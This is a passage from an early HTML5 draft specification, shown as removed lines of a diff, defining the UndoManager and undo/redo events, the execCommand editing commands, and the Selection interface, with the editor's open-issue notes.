-   <p>This API sucks. Seriously. It's a terrible API. Really bad. I hate it.
-    Here are the requirements:</p>
-
-   <ul>
-    <li>Has to cope with cases where the server has undo state already when
-     the page is loaded, that can be stuffed into the undo buffer onload.
-
-    <li>Has to support undo/redo.
-
-    <li>Has to cope with the "undo" action being "contact the server and tell
-     it to undo", rather than it being the opposite of the "redo" action.
-
-    <li>Has to cope with some undo states expiring from the undo history
-     (e.g. server can only remember one undelete action) but other states not
-     expiring (e.g. client can undo arbitrary amounts of local edits).
-   </ul>
-  </div>
-
-  <p>To manage <a href="#undo-object">undo object</a> entries in the <a
-   href="#undo-transaction">undo transaction history</a>, the <code><a
-   href="#undomanager">UndoManager</a></code> interface can be used:
-
-  <pre class=idl>interface <dfn id=undomanager>UndoManager</dfn> {
-  unsigned long <a href="#adddata" title=dom-UndoManager-add>add</a>(in DOMObject data, in DOMStrong title);
-  void <a href="#remove1" title=dom-UndoManager-remove>remove</a>(in unsigned long index);
-  void <a href="#clearundo" title=dom-UndoManager-clearUndo>clearUndo</a>();
-  void <a href="#clearredo" title=dom-UndoManager-clearRedo>clearRedo</a>();
-  DOMObject <a href="#itemn" title=dom-UndoManager-item>item</a>(in unsigned long index);
-  readonly attribute unsigned long <a href="#length5" title=dom-UndoManager-length>length</a>;
-  readonly attribute unsigned long <a href="#position0" title=dom-UndoManager-position>position</a>;
-};</pre>
-
-  <p>The <dfn id=undomanager0
-   title=dom-undoManager><code>undoManager</code></dfn> attribute of the
-   <code><a href="#windowhtml">WindowHTML</a></code> interface must return
-   the object implementing the <code><a
-   href="#undomanager">UndoManager</a></code> interface for that <code><a
-   href="#windowhtml">WindowHTML</a></code> object's associated <code><a
-   href="#htmldocument">HTMLDocument</a></code> object.
-
-  <p>In the ECMAScript DOM binding, objects implementing this interface must
-   also support being dereferenced using the square bracket notation, such
-   that dereferencing with an integer index is equivalent to invoking the
-   <code title=dom-UndoManager-item><a href="#itemn">item()</a></code> method
-   with that index (e.g. <code title="">undoManager[1]</code> returns the
-   same as <code title="">undoManager.item(1)</code>).
-
-  <p><code><a href="#undomanager">UndoManager</a></code> objects represent
-   their document's <a href="#undo-transaction">undo transaction history</a>.
-   Only <a href="#undo-object">undo object</a> entries are visible with this
-   API, but this does not mean that <a href="#dom-changes">DOM changes</a>
-   entries are absent from the <a href="#undo-transaction">undo transaction
-   history</a>.
-
-  <p>The <dfn id=length5
-   title=dom-UndoManager-length><code>length</code></dfn> attribute must
-   return the number of <a href="#undo-object">undo object</a> entries in the
-   <a href="#undo-transaction">undo transaction history</a>.
-
-  <p>The <dfn id=itemn title=dom-UndoManager-item><code>item(<var
-   title="">n</var>)</code></dfn> method must return the <var
-   title="">n</var>th <a href="#undo-object">undo object</a> entry in the <a
-   href="#undo-transaction">undo transaction history</a>.
-
-  <p>The <a href="#undo-transaction">undo transaction history</a> has a <dfn
-   id=current2 title="undo position">current position</dfn>. This is the
-   position between two entries in the <a href="#undo-transaction">undo
-   transaction history</a>'s list where the previous entry represents what
-   needs to happen if the user invokes the "undo" command (the "undo" side,
-   lower numbers), and the next entry represents what needs to happen if the
-   user invokes the "redo" command (the "redo" side, higher numbers).
-
-  <p>The <dfn id=position0
-   title=dom-UndoManager-position><code>position</code></dfn> attribute must
-   return the index of the <a href="#undo-object">undo object</a> entry
-   nearest to the <a href="#current2">undo position</a>, on the "redo" side.
-   If there are no <a href="#undo-object">undo object</a> entries on the
-   "redo" side, then the attribute must return the same as the <code
-   title=dom-UndoManager-length><a href="#length5">length</a></code>
-   attribute. If there are no <a href="#undo-object">undo object</a> entries
-   on the "undo" side of the <a href="#current2">undo position</a>, the <code
-   title=dom-UndoManager-position><a href="#position0">position</a></code>
-   attribute returns zero.
-
-  <p class=note>Since the <a href="#undo-transaction">undo transaction
-   history</a> contains both <a href="#undo-object">undo object</a> entries
-   and <a href="#dom-changes">DOM changes</a> entries, but the <code
-   title=dom-UndoManager-position><a href="#position0">position</a></code>
-   attribute only returns indices relative to <a href="#undo-object">undo
-   object</a> entries, it is possible for several "undo" or "redo" actions to
-   be performed without the value of the <code
-   title=dom-UndoManager-position><a href="#position0">position</a></code>
-   attribute changing.
-
-  <p>The <dfn id=adddata title=dom-UndoManager-add><code>add(<var
-   title="">data</var>, <var title="">title</var>)</code></dfn> method's
-   behaviour depends on the current state. Normally, it must insert the <var
-   title="">data</var> object passed as an argument into the <a
-   href="#undo-transaction">undo transaction history</a> immediately before
-   the <a href="#current2">undo position</a>, optionally remembering the
-   given <var title="">title</var> to use in the UI. If the method is called
-   <a href="#undo-moving1" title=do-undo>during an undo operation</a>,
-   however, the object must instead be added immediately <em>after</em> the
-   <a href="#current2">undo position</a>.
-
-  <p>If the method is called and there is neither <a href="#undo-moving1"
-   title=do-undo>an undo operation in progress</a> nor <a
-   href="#redo-moving1" title=do-redo>a redo operation in progress</a> then
-   any entries in the <a href="#undo-transaction">undo transaction
-   history</a> after the <a href="#current2">undo position</a> must be
-   removed (as if <code title=dom-UndoManager-clearRedo><a
-   href="#clearredo">clearRedo()</a></code> had been called).
-
-  <p class=big-issue>We could fire events when someone adds something to the
-   undo history -- one event per undo object entry before the position (or
-   after, during redo addition), allowing the script to decide if that entry
-   should remain or not. Or something. Would make it potentially easier to
-   expire server-held state when the server limitations come into play.</p>
-  <!-- XXX note on expiring undo in case server can only do one level undo -->
-
-  <p>The <dfn id=remove1 title=dom-UndoManager-remove><code>remove(<var
-   title="">index</var>)</code></dfn> method must remove the <a
-   href="#undo-object">undo object</a> entry with the specified <var
-   title="">index</var>. If the index is less than zero or greater than or
-   equal to <code title=dom-UndoManager-length><a
-   href="#length5">length</a></code> then the method must raise an
-   <code>INDEX_SIZE_ERR</code> exception. <a href="#dom-changes">DOM
-   changes</a> entries are unaffected by this method.
-
-  <p>The <dfn id=clearundo
-   title=dom-UndoManager-clearUndo><code>clearUndo()</code></dfn> method must
-   remove all entries in the <a href="#undo-transaction">undo transaction
-   history</a> before the <a href="#current2">undo position</a>, be they <a
-   href="#dom-changes">DOM changes</a> entries or <a href="#undo-object">undo
-   object</a> entries.
-
-  <p>The <dfn id=clearredo
-   title=dom-UndoManager-clearRedo><code>clearRedo()</code></dfn> method must
-   remove all entries in the <a href="#undo-transaction">undo transaction
-   history</a> after the <a href="#current2">undo position</a>, be they <a
-   href="#dom-changes">DOM changes</a> entries or <a href="#undo-object">undo
-   object</a> entries.
-
-  <p class=big-issue>Another idea is to have a way for scripts to say
-   "startBatchingDOMChangesForUndo()" and after that the changes to the DOM
-   go in as if the user had done them.
-
-  <h4 id=undo-moving><span class=secno>6.4.2. </span><dfn id=undo-moving1
-   title=do-undo>Undo: moving back in the undo transaction history</dfn></h4>
-
-  <p>When the user invokes an undo operation, or when the <code
-   title=dom-document-execCommand><a
-   href="#execcommand">execCommand()</a></code> method is called with the
-   <code title=command-undo><a href="#undo1">undo</a></code> command, the
-   user agent must perform an undo operation.
-
-  <p>If the <a href="#current2">undo position</a> is at the start of the <a
-   href="#undo-transaction">undo transaction history</a>, then the user agent
-   must do nothing.
-
-  <p>If the entry immediately before the <a href="#current2">undo
-   position</a> is a <a href="#dom-changes">DOM changes</a> entry, then the
-   user agent must remove that <a href="#dom-changes">DOM changes</a> entry,
-   reverse the DOM changes that were listed in that entry, and, if the
-   changes were reversed with no problems, add a new <a
-   href="#dom-changes">DOM changes</a> entry (consisting of the opposite of
-   those DOM changes) to the <a href="#undo-transaction">undo transaction
-   history</a> on the other side of the <a href="#current2">undo
-   position</a>.
-
-  <p>If the DOM changes cannot be undone (e.g. because the DOM state is no
-   longer consistent with the changes represented in the entry), then the
-   user agent must simply remove the <a href="#dom-changes">DOM changes</a>
-   entry, without doing anything else.
-
-  <p>If the entry immediately before the <a href="#current2">undo
-   position</a> is an <a href="#undo-object">undo object</a> entry, then the
-   user agent must first remove that <a href="#undo-object">undo object</a>
-   entry from the <a href="#undo-transaction">undo transaction history</a>,
-   and then must fire an <code title=event-undo><a
-   href="#undo0">undo</a></code> event on the <code>Document</code> object,
-   using the <a href="#undo-object">undo object</a> entry's associated undo
-   object as the event's data.
-
-  <p>Any calls to <code title=dom-undoManager-add><a
-   href="#adddata">add()</a></code> while the event is being handled will be
-   used to populate the redo history, and will then be used if the user
-   invokes the "redo" command to undo his undo.
-
-  <h4 id=redo-moving><span class=secno>6.4.3. </span><dfn id=redo-moving1
-   title=do-redo>Redo: moving forward in the undo transaction history</dfn></h4>
-
-  <p>When the user invokes a redo operation, or when the <code
-   title=dom-document-execCommand><a
-   href="#execcommand">execCommand()</a></code> method is called with the
-   <code title=command-redo><a href="#redo0">redo</a></code> command, the
-   user agent must perform a redo operation.
-
-  <p>This is mostly the opposite of an <a href="#undo-moving1"
-   title=do-undo>undo operation</a>, but the full definition is included here
-   for completeness.
-
-  <p>If the <a href="#current2">undo position</a> is at the end of the <a
-   href="#undo-transaction">undo transaction history</a>, then the user agent
-   must do nothing.
-
-  <p>If the entry immediately after the <a href="#current2">undo position</a>
-   is a <a href="#dom-changes">DOM changes</a> entry, then the user agent
-   must remove that <a href="#dom-changes">DOM changes</a> entry, reverse the
-   DOM changes that were listed in that entry, and, if the changes were
-   reversed with no problems, add a new <a href="#dom-changes">DOM
-   changes</a> entry (consisting of the opposite of those DOM changes) to the
-   <a href="#undo-transaction">undo transaction history</a> on the other side
-   of the <a href="#current2">undo position</a>.
-
-  <p>If the DOM changes cannot be redone (e.g. because the DOM state is no
-   longer consistent with the changes represented in the entry), then the
-   user agent must simply remove the <a href="#dom-changes">DOM changes</a>
-   entry, without doing anything else.
-
-  <p>If the entry immediately after the <a href="#current2">undo position</a>
-   is an <a href="#undo-object">undo object</a> entry, then the user agent
-   must first remove that <a href="#undo-object">undo object</a> entry from
-   the <a href="#undo-transaction">undo transaction history</a>, and then
-   must fire a <code title=event-undo><a href="#undo0">redo</a></code> event
-   on the <code>Document</code> object, using the <a href="#undo-object">undo
-   object</a> entry's associated undo object as the event's data.
-
-  <h4 id=the-undomanagerevent><span class=secno>6.4.4. </span>The <code><a
-   href="#undomanagerevent">UndoManagerEvent</a></code> interface and the
-   <code title=event-undo><a href="#undo0">undo</a></code> and <code
-   title=event-redo><a href="#redo">redo</a></code> events</h4>
-
-  <pre
-   class=idl>interface <dfn id=undomanagerevent>UndoManagerEvent</dfn> : Event {
-  readonly attribute DOMObject <a href="#data3" title=dom-UndoManagerEvent-data>data</a>;
-  void <a href="#initundomanagerevent" title=dom-UndoManagerEvent-initUndoManagerEvent>initUndoManagerEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMObject dataArg);
-  void <span title=dom-UndoManagerEvent-initUndoManagerEventNS>initUndoManagerEventNS</span>(in DOMString namespaceURIArg, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMObject dataArg);
-};</pre>
-
-  <p>The <dfn id=initundomanagerevent
-   title=dom-UndoManagerEvent-initUndoManagerEvent><code>initUndoManagerEvent()</code></dfn>
-   and <dfn id=initundomanagereventns><code
-   title=dom-UndoManagerEvent-initUndoManagerEventNS>initUndoManagerEventNS()</code></dfn>
-   methods must initialise the event in a manner analogous to the
-   similarly-named methods in the DOM3 Events interfaces. <a
-   href="#DOM3Events">[DOM3EVENTS]</a>
-
-  <p>The <dfn id=data3
-   title=dom-UndoManagerEvent-data><code>data</code></dfn> attribute
-   represents the <a href="#undo-object">undo object</a> for the event.
-
-  <p>The <dfn id=undo0 title=event-undo><code>undo</code></dfn> and <dfn
-   id=redo title=event-redo><code>redo</code></dfn> events do not bubble,
-   cannot be canceled, and have no default action. When the user agent fires
-   one of these events it must use the <code><a
-   href="#undomanagerevent">UndoManagerEvent</a></code> interface, with the
-   <code title=dom-UndoManagerEvent-data><a href="#data3">data</a></code>
-   field containing the relevant <a href="#undo-object">undo object</a>.
-
-  <h4 id=implementation0><span class=secno>6.4.5. </span>Implementation notes</h4>
-
-  <p>How user agents present the above conceptual model to the user is not
-   defined. The undo interface could be a filtered view of the <a
-   href="#undo-transaction">undo transaction history</a>, it could manipulate
-   the <a href="#undo-transaction">undo transaction history</a> in ways not
-   described above, and so forth. For example, it is possible to design a UA
-   that appears to have separate <a href="#undo-transaction" title="undo
-   transaction history">undo transaction histories</a> for each form control;
-   similarly, it is possible to design systems where the user has access to
-   more undo information than is present in the offical (as described above)
-   <a href="#undo-transaction">undo transaction history</a> (such as
-   providing a tree-based approach to document state). Such UI models should
-   be based upon the single <a href="#undo-transaction">undo transaction
-   history</a> described in this section, however, such that to a script
-   there is no detectable difference.
-
-  <h3 id=execCommand><span class=secno>6.5. </span>Command APIs</h3>
-
-  <p>The <dfn id=execcommand
-   title=dom-document-execCommand><code>execCommand(<var
-   title="">commandID</var>, <var title="">doShowUI</var>, <var
-   title="">value</var>)</code></dfn> method on the <code><a
-   href="#htmldocument">HTMLDocument</a></code> interface allows scripts to
-   perform actions on the <a href="#a-selection" title="the
-   selection">current selection</a> or at the current caret position.
-   Generally, these commands would be used to implement editor UI, for
-   example having a "delete" button on a toolbar.
-
-  <p>There are three variants to this method, with one, two, and three
-   arguments respectively. The <var title="">doShowUI</var> and <var
-   title="">value</var> parameters, even if specified, are ignored unless
-   otherwise stated.
-
-  <p class=note>In this specification, in fact, the <var
-   title="">doShowUI</var> parameter is always ignored, regardless of its
-   value. It is included for historical reasons only.
-
-  <p>When any of these methods are invoked, user agents must act as described
-   in the list below.
-
-  <p>For actions marked "<dfn id=editing3>editing hosts only</dfn>", if the
-   selection is not entirely within an <a href="#editing2">editing host</a>,
-   of if there is no selection and the caret is not inside an <a
-   href="#editing2">editing host</a>, then the user agent must do nothing.
-
-  <dl>
-   <dt>If the <var title="">commandID</var> is <dfn id=undo1
-    title=command-undo><code>undo</code></dfn>
-
-   <dd>The user agent must <a href="#undo-moving1" title=do-undo>move back
-    one step</a> in its <a href="#undo-transaction">undo transaction
-    history</a>, restoring the associated state. If there is no further undo
-    information the user agent must do nothing. See the <a
-    href="#undo-history0">undo history</a>.
-
-   <dt>If the <var title="">commandID</var> is <dfn id=redo0
-    title=command-redo><code>redo</code></dfn>
-
-   <dd>The user agent must <a href="#redo-moving1" title=do-redo>move forward
-    one step</a> in its <a href="#undo-transaction">undo transaction
-    history</a>, restoring the associated state. If there is no further undo
-    (well, "redo") information the user agent must do nothing. See the <a
-    href="#undo-history0">undo history</a>.
-
-   <dt>If the <var title="">commandID</var> is <dfn id=selectall0
-    title=command-selectAll><code>selectAll</code></dfn>
-
-   <dd>The user agent must change the selection so that all the content in
-    the currently focused <a href="#editing2">editing host</a> is selected.
-    If no <a href="#editing2">editing host</a> is focused, then the content
-    of the entire document must be selected.
-
-   <dt>If the <var title="">commandID</var> is <dfn id=unselect
-    title=command-unselect><code>unselect</code></dfn>
-
-   <dd>
-    <p>The user agent must change the selection so that nothing is selected.</p>
-
-    <p class=big-issue>We need some sort of way in which the user can make a
-     selection without risk of script clobbering it.
-
-   <dt>If the <var title="">commandID</var> is <dfn id=superscript
-    title=command-superscript><code>superscript</code></dfn>
-
-   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent
-    must act as if the user had requested that the selection <a
-    href="#contenteditable-wrapSemantic">be wrapped in the semantics</a> of
-    the <code><a href="#sup0">sup</a></code> element (or unwrapped, or, if
-    there is no selection, have that semantic inserted or removed AMPERSANDmdash; the
-    exact behaviour is UA-defined).
-
-   <dt>If the <var title="">commandID</var> is <dfn id=subscript
-    title=command-subscript><code>subscript</code></dfn>
-
-   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent
-    must act as if the user had requested that the selection <a
-    href="#contenteditable-wrapSemantic">be wrapped in the semantics</a> of
-    the <em title=""><code><a href="#sub0">sub</a></code></em> element (or,
-    again, unwrapped, or have that semantic inserted or removed, as defined
-    by the UA).
-
-   <dt>If the <var title="">commandID</var> is <dfn id=formatblock
-    title=command-formatBlock><code>formatBlock</code></dfn>
-
-   <dd>
-    <p><em><a href="#editing3">Editing hosts only.</a></em> This command
-     changes the semantics of the blocks containing the selection.</p>
-
-    <p>If there is no selection, then, where in the description below refers
-     to the selection, the user agent must act as if the selection was an
-     empty range at the caret position.</p>
-
-    <p>If the <var title="">value</var> parameter is not specified or has a
-     value other than one of the following literal strings:</p>
-
-    <ul class=brief>
-     <li><code title="">AMPERSANDlt;addressAMPERSANDgt;</code>
-
-     <li><code title="">AMPERSANDlt;asideAMPERSANDgt;</code>
-
-     <li><code title="">AMPERSANDlt;h1AMPERSANDgt;</code>
-
-     <li><code title="">AMPERSANDlt;h2AMPERSANDgt;</code>
-
-     <li><code title="">AMPERSANDlt;h3AMPERSANDgt;</code>
-
-     <li><code title="">AMPERSANDlt;h4AMPERSANDgt;</code>
-
-     <li><code title="">AMPERSANDlt;h5AMPERSANDgt;</code>
-
-     <li><code title="">AMPERSANDlt;h6AMPERSANDgt;</code>
-
-     <li><code title="">AMPERSANDlt;navAMPERSANDgt;</code>
-
-     <li><code title="">AMPERSANDlt;pAMPERSANDgt;</code>
-
-     <li><code title="">AMPERSANDlt;preAMPERSANDgt;</code>
-    </ul>
-
-    <p>...then the user agent must do nothing.</p>
-
-    <p>Otherwise, the user agent must, for every position in the selection,
-     take the furthest <a href="#block-level1" title="block-level
-     elements">block-level element</a> ancestor of that position that
-     contains only <a href="#inline-level1">inline-level content</a> and is
-     not being used as a <a href="#structured" title="structured inline-level
-     elements">structured inline-level element</a>, and, if that element is a
-     descendant of the editing host, rename it according to the <var
-     title="">value</var>, by stripping the leading <code>AMPERSANDlt;</code>
-     character and the trailing <code>AMPERSANDgt;</code> character and using the
-     rest as the new tag name.
-
-   <dt>If the <var title="">commandID</var> is <dfn id=delete
-    title=command-delete><code>delete</code></dfn>
-
-   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent
-    must act as if the user had performed <a href="#contenteditable-delete">a
-    backspace operation</a>.
-
-   <dt>If the <var title="">commandID</var> is <dfn id=forwarddelete
-    title=command-forwardDelete><code>forwardDelete</code></dfn>
-
-   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent
-    must act as if the user had performed <a href="#contenteditable-delete">a
-    forward delete operation</a>.
-
-   <dt>If the <var title="">commandID</var> is <dfn id=insertlinebreak
-    title=command-insertLineBreak><code>insertLineBreak</code></dfn>
-
-   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent
-    must act as if the user had <a href="#contenteditable-br">requested a
-    line separator</a>.
-
-   <dt>If the <var title="">commandID</var> is <dfn id=insertparagraph
-    title=command-insertParagraph><code>insertParagraph</code></dfn>
-
-   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent
-    must act as if the user had performed a <a
-    href="#contenteditable-breakBlock">break block</a> editing action.
-
-   <dt>If the <var title="">commandID</var> is <dfn id=inserttext
-    title=command-insertText><code>insertText</code></dfn>
-
-   <dd><em><a href="#editing3">Editing hosts only.</a></em> The user agent
-    must act as if the user had <a
-    href="#contenteditable-insertText">inserted text</a> corresponding to the
-    <var title="">value</var> parameter.
-
-   <dt>If the <var title="">commandID</var> is <code><var
-    title="">vendorID</var>-<var title="">customCommandID</var></code>
-
-   <dd>User agents may implement vendor-specific extensions to this API.
-    Vendor-specific extensions to the list of commands should use the syntax
-    <code><var title="">vendorID</var>-<var
-    title="">customCommandID</var></code> so as to prevent clashes between
-    extensions from different vendors and future additions to this
-    specification.
-
-   <dt>If the <var title="">commandID</var> is something else
-
-   <dd>User agents must do nothing.
-  </dl>
-
-  <h3 id=selection><span class=secno>6.6. </span>The text selection APIs</h3>
-
-  <p>Every <a href="#browsing">browsing context</a> has <dfn id=a-selection
-   title="the selection">a selection</dfn>. The selection may be empty, and
-   the selection may have more than one range (a disjointed selection). The
-   user should be able to change the selection. User agents are not required
-   to let the user select more than one range, and may collapse multiple
-   ranges in the selection to a single range when the user interacts with the
-   selection. (But, of course, the user agent may let the user create
-   selections with multiple ranges.)
-
-  <p>This one selection must be shared by all the content of the browsing
-   context (though not by nested <a href="#browsing" title="browsing
-   context">browsing contexts</a>), including any editing hosts in the
-   document. (Editing hosts that are not inside a document cannot have a
-   selection.)
-
-  <p>If the selection is empty (collapsed, so that it has only one segment
-   and that segment's start and end points are the same) then the selection's
-   position should equal the caret position. When the selection is not empty,
-   this specification does not define the caret position; user agents should
-   follow platform conventions in deciding whether the caret is at the start
-   of the selection, the end of the selection, or somewhere else.
-
-  <p>On some platforms (such as those using Wordstar editing conventions),
-   the caret position is totally independent of the start and end of the
-   selection, even when the selection is empty. On such platforms, user
-   agents may ignore the requirement that the cursor position be linked to
-   the position of the selection altogether.
-
-  <p>Mostly for historical reasons, in addition to the <a
-   href="#browsing">browsing context</a>'s <a href="#a-selection" title="the
-   selection">selection</a>, each <code>textarea</code> and
-   <code>input</code> element has an independent selection. These are the
-   <dfn id=text-field title="text field selection">text field
-   selections</dfn>.
-
-  <p>The <code><a href="#datagrid1">datagrid</a></code> and
-   <code>select</code> elements also have selections, indicating which items
-   have been picked by the user. These are not discussed in this section.
-
-  <p class=note>This specification does not specify how selections are
-   presented to the user. The Selectors specification, in conjunction with
-   CSS, can be used to style text selections using the <code><a
-   href="#selection1">::selection</a></code> pseudo-element. <a
-   href="#refsSELECTORS">[SELECTORS]</a> <a href="#refsCSS21">[CSS21]</a>
-
-  <h4 id=documentSelection><span class=secno>6.6.1. </span>APIs for the
-   browsing context selection</h4>
-
-  <p>The <dfn id=getselection
-   title=dom-getSelection><code>getSelection()</code></dfn> method on the
-   <code><a href="#windowhtml">WindowHTML</a></code> interface must return
-   the <code><a href="#selection1">Selection</a></code> object representing
-   <a href="#a-selection">the selection</a> of that <code><a
-   href="#windowhtml">WindowHTML</a></code> object's <a
-   href="#browsing">browsing context</a>.
-
-  <p>For historical reasons, the <dfn id=getselection0
-   title=dom-document-getSelection><code>getSelection()</code></dfn> method
-   on the <code><a href="#htmldocument">HTMLDocument</a></code> interface
-   must return the same <code><a href="#selection1">Selection</a></code>
-   object.
-
-  <pre class=idl>interface <dfn id=selection1>Selection</dfn> {
-  readonly attribute Node <a href="#anchornode" title=dom-selection-anchorNode>anchorNode</a>;
-  readonly attribute long <a href="#anchoroffset" title=dom-selection-anchorOffset>anchorOffset</a>;
-  readonly attribute Node <a href="#focusnode" title=dom-selection-focusNode>focusNode</a>;
-  readonly attribute long <a href="#focusoffset" title=dom-selection-focusOffset>focusOffset</a>;
-  readonly attribute boolean <a href="#iscollapsed" title=dom-selection-isCollapsed>isCollapsed</a>;
-  void <a href="#collapse" title=dom-selection-collapse>collapse</a>(in Node parentNode, in long offset);
-  void <a href="#collapsetostart" title=dom-selection-collapseToStart>collapseToStart</a>();
-  void <a href="#collapsetoend" title=dom-selection-collapseToEnd>collapseToEnd</a>();
-  void <a href="#selectallchildren" title=dom-selection-selectAllChildren>selectAllChildren</a>(in Node parentNode);
-  void <a href="#deletefromdocument" title=dom-selection-deleteFromDocument>deleteFromDocument</a>();
-  readonly attribute long <a href="#rangecount" title=dom-selection-rangeCount>rangeCount</a>;
-  Range <a href="#getrangeat" title=dom-selection-getRangeAt>getRangeAt</a>(in long index);
-  void <a href="#addrange" title=dom-selection-addRange>addRange</a>(in Range range);
-  void <a href="#removerange" title=dom-selection-removeRange>removeRange</a>(in Range range);
-  void <a href="#removeallranges" title=dom-selection-removeAllRanges>removeAllRanges</a>();
-  DOMString <a href="#tostring" title=dom-selection-toString>toString</a>();
-};</pre>
-  <!--
-  See also:
-    http://lxr.mozilla.org/mozilla/source/content/base/public/nsISelection.idl
-  This spec doesn't have everything from there yet, in particular
-  selectionLanguageChange() and containsNode() are missing. They are missing
-  because I couldn't work out how to define them in terms of Ranges.
-
-  I also haven't included extend():
-
-    void <span title="dom-selection-extend">extend</span>(in Node parentNode, in long offset);
-    // raise if no range
-    // raise WRONG_DOCUMENT_ERR if parentNode not in document
-    // do something
-
-  ...mostly because I can't work out how to describe what it does quickly.
--->
-
-  <p>The <code><a href="#selection1">Selection</a></code> interface is
-   represents a list of <code>Range</code> objects. The first item in the
-   list has index 0, and the last item has index <var title="">count</var>-1,
-   where <var title="">count</var> is the number of ranges in the list. <a
-   href="#refsDOM2RANGE">[DOM2RANGE]</a>
-
-  <p>All of the members of the <code><a
-   href="#selection1">Selection</a></code> interface are defined in terms of
-   operations on the <code>Range</code> objects represented by this object.
-   These operations can raise exceptions, as defined for the
-   <code>Range</code> interface; this can therefore result in the members of
-   the <code><a href="#selection1">Selection</a></code> interface raising
-   exceptions as well, in addition to any explicitly called out below.</p>
-  <!--- XXX example -->
-
-  <p>The <dfn id=anchornode
-   title=dom-selection-anchorNode><code>anchorNode</code></dfn> attribute
-   must return the value returned by the <code title="">startContainer</code>
-   attribute of the last <code>Range</code> object in the list, or null if
-   the list is empty.
-
-  <p>The <dfn id=anchoroffset
-   title=dom-selection-anchorOffset><code>anchorOffset</code></dfn> attribute
-   must return the value returned by the <code title="">startOffset</code>
-   attribute of the last <code>Range</code> object in the list, or 0 if the
-   list is empty.
-
-  <p>The <dfn id=focusnode
-   title=dom-selection-focusNode><code>focusNode</code></dfn> attribute must
-   return the value returned by the <code title="">endContainer</code>
-   attribute of the last <code>Range</code> object in the list, or null if
-   the list is empty.
-
-  <p>The <dfn id=focusoffset
-   title=dom-selection-focusOffset><code>focusOffset</code></dfn> attribute
-   must return the value returned by the <code title="">endOffset</code>
-   attribute of the last <code>Range</code> object in the list, or 0 if the
-   list is empty.
-
-  <p>The <dfn id=iscollapsed
-   title=dom-selection-isCollapsed><code>isCollapsed</code></dfn> attribute
-   must return true if there are zero ranges, or if there is exactly one
-   range and its <code title="">collapsed</code> attribute is itself true.
-   Otherwise it must return false.
-
-  <p>The <dfn id=collapse title=dom-selection-collapse><code>collapse(<var
-   title="">parentNode</var>, <var title="">offset</var>)</code></dfn> method
-   must raise a <code>WRONG_DOCUMENT_ERR</code> DOM exception if <var
-   title="">parentNode</var>'s <code title="">ownerDocument</code> is not the
-   <code><a href="#htmldocument">HTMLDocument</a></code> object with which
-   the <code><a href="#selection1">Selection</a></code> object is associated.
-   Otherwise it is, and the method must remove all the ranges in the <code><a
-   href="#selection1">Selection</a></code> list, then create a new
-   <code>Range</code> object, add it to the list, and invoke its <code
-   title="">setStart()</code> and <code title="">setEnd()</code> methods with
-   the <var title="">parentNode</var> and <var title="">offset</var> values
-   as their arguments.
-
-  <p>The <dfn id=collapsetostart
-   title=dom-selection-collapseToStart><code>collapseToStart()</code></dfn>
-   method must raise an <code>INVALID_STATE_ERR</code> DOM exception if there
-   are no ranges in the list. Otherwise, it must invoke the <code
-   title=dom-selection-collapse><a href="#collapse">collapse()</a></code>
-   method with the <code title="">startContainer</code> and <code
-   title="">startOffset</code> values of the first <code>Range</code> object
-   in the list as the arguments.
-
-  <p>The <dfn id=collapsetoend
-   title=dom-selection-collapseToEnd><code>collapseToEnd()</code></dfn>
-   method must raise an <code>INVALID_STATE_ERR</code> DOM exception if there
-   are no ranges in the list. Otherwise, it must invoke the <code
-   title=dom-selection-collapse><a href="#collapse">collapse()</a></code>
-   method with the <code title="">endContainer</code> and <code
-   title="">endOffset</code> values of the last <code>Range</code> object in
-   the list as the arguments.
-
-  <p>The <dfn id=selectallchildren
-   title=dom-selection-selectAllChildren><code>selectAllChildren(<var
-   title="">parentNode</var>)</code></dfn> method must invoke the <code
-   title=dom-selection-collapse><a href="#collapse">collapse()</a></code>
-   method with the <var title="">parentNode</var> value as the first argument
-   and 0 as the second argument, and must then invoke the <code
-   title="">selectNodeContents()</code> method on the first (and only) range
-   in the list with the <var title="">parentNode</var> value as the argument.
-
-  <p>The <dfn id=deletefromdocument
-   title=dom-selection-deleteFromDocument><code>deleteFromDocument()</code></dfn>
-   method must invoke the <code title="">deleteContents()</code> method on
-   each range in the list, if any, from first to last.
-
-  <p>The <dfn id=rangecount
-   title=dom-selection-rangeCount><code>rangeCount</code></dfn> attribute
-   must return the number of ranges in the list.
-
-  <p>The <dfn id=getrangeat
-   title=dom-selection-getRangeAt><code>getRangeAt(<var
-   title="">index</var>)</code></dfn> method must return the <var
-   title="">index</var>th range in the list. If <var title="">index</var> is
-   less than zero or greater or equal to the value returned by the <code
-   title=dom-selection-rangeCount><a href="#rangecount">rangeCount</a></code>
-   attribute, then the method must raise an <code>INDEX_SIZE_ERR</code> DOM
-   exception.
-
-  <p>The <dfn id=addrange title=dom-selection-addRange><code>addRange(<var
-   title="">range</var>)</code></dfn> method must add the given <var
-   title="">range</var> Range object to the list of selections, at the end
-   (so the newly added range is the new last range). Duplicates are not
-   prevented; a range may be added more than once in which case it appears in
-   the list more than once, which (for example) will cause <code
-   title=dom-selection-toString><a href="#tostring">toString()</a></code> to
-   return the range's text twice.</p>
-  <!-- XXX how does this interact with
-  deleteFromDocument() which acts on all ranges? -->
-
-  <p>The <dfn id=removerange
-   title=dom-selection-removeRange><code>removeRange(<var
-   title="">range</var>)</code></dfn> method must remove the first occurrence
-   of <var title="">range</var> in the list of ranges, if it appears at all.
-
-  <p>The <dfn id=removeallranges
-   title=dom-selection-removeAllRanges><code>removeAllRanges()</code></dfn>
-   method must remove all the ranges from the list of ranges, such that the
-   <code title=dom-selection-rangeCount><a
-   href="#rangecount">rangeCount</a></code> attribute returns 0 after the
-   <code title=dom-selection-removeAllRanges><a
-   href="#removeallranges">removeAllRanges()</a></code> method is invoked
-   (and until a new range is added to the list, either through this interface
-   or via user interaction).
-
-  <p>The <dfn id=tostring
-   title=dom-selection-toString><code>toString()</code></dfn> method must
-   return a concatenation of the results of invoking the <code
-   title="">toString()</code> method of the <code>Range</code> object on each
-   of the ranges of the selection, in the order they appear in the list
-   (first to last).
-
-  <p>In language bindings where this is supported, objects implementing the
-   <code><a href="#selection1">Selection</a></code> interface must stringify
-   to the value returned by the object's <code
